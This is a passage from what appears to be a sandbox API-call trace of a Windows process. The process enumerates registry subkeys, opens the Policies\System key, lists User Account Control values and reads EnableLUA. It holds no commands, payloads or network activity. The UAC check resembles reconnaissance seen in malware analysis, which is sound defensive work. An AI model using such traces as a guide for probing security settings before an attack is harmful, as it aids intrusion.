returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.779] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xa9b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xa9c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0136.779] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.779] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.779] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xa9b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.780] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xa9b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.780] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x3bf85c | out: phkResult=0x3bf85c*=0xa0) returned 0x0 [0136.780] RegCloseKey (hKey=0x24) returned 0x0 [0136.780] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xa9b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xa9c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0136.780] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.780] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.781] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xa9b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xa9c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.781] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xa9b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xa9c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.781] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xa9b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.781] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xa9b930, cchName=0x104 | out: lpName="System") returned 0x0 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9bbb8 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xa9c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0136.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.782] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bbb8) returned 1 [0136.782] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x3bf85c | out: phkResult=0x3bf85c*=0x24) returned 0x0 [0136.782] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b930) returned 1 [0136.782] RegCloseKey (hKey=0xa0) returned 0x0 [0136.782] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b860) returned 1 [0136.782] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9b860 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b878 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.782] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b888 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.782] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b898 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.782] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b930 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.782] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa9b940 [0136.783] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b860) returned 1 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b860 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b968 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b978 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b988 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c2d0 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x30) returned 0xa9b998 [0136.783] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b940) returned 1 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b940 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c318 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b950 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c360 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9d0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c3a8 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9e0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c3f0 [0136.783] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c438 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b998) returned 1 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b998 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c480 [0136.784] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9a8 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c4c8 [0136.784] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9b8 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c510 [0136.784] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b9f0 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c558 [0136.784] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b878) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b888) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b898) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b930) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b860) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b968) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b978) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c2d0) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b988) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c318) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b940) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c360) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b950) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c3a8) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b9d0) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c3f0) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b9e0) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c480) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b998) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c4c8) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b9a8) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c510) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b9b8) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c558) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9b9f0) returned 1 [0136.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c438) returned 1 [0136.785] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c438 [0136.785] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x3bf874, lpData=0x0, lpcbData=0x3bf87c*=0x0 | out: lpType=0x3bf874*=0x4, lpData=0x0, lpcbData=0x3bf87c*=0x4) returned 0x0 [0136.786] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x3bf874, lpData=0xa9c438, lpcbData=0x3bf87c*=0x4 | out: lpType=0x3bf874*=0x4, lpData=0xa9c438*=0x1, lpcbData=0x3bf87c*=0x4) returned 0x0 [0136.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c438) returned 1 [0136.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5a0) returned 1 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9b860 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b878 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5a0 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9b888 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c438 [0136.786] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x3bf768, lpcchValueName=0x3bf764, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x3bf764, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0136.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 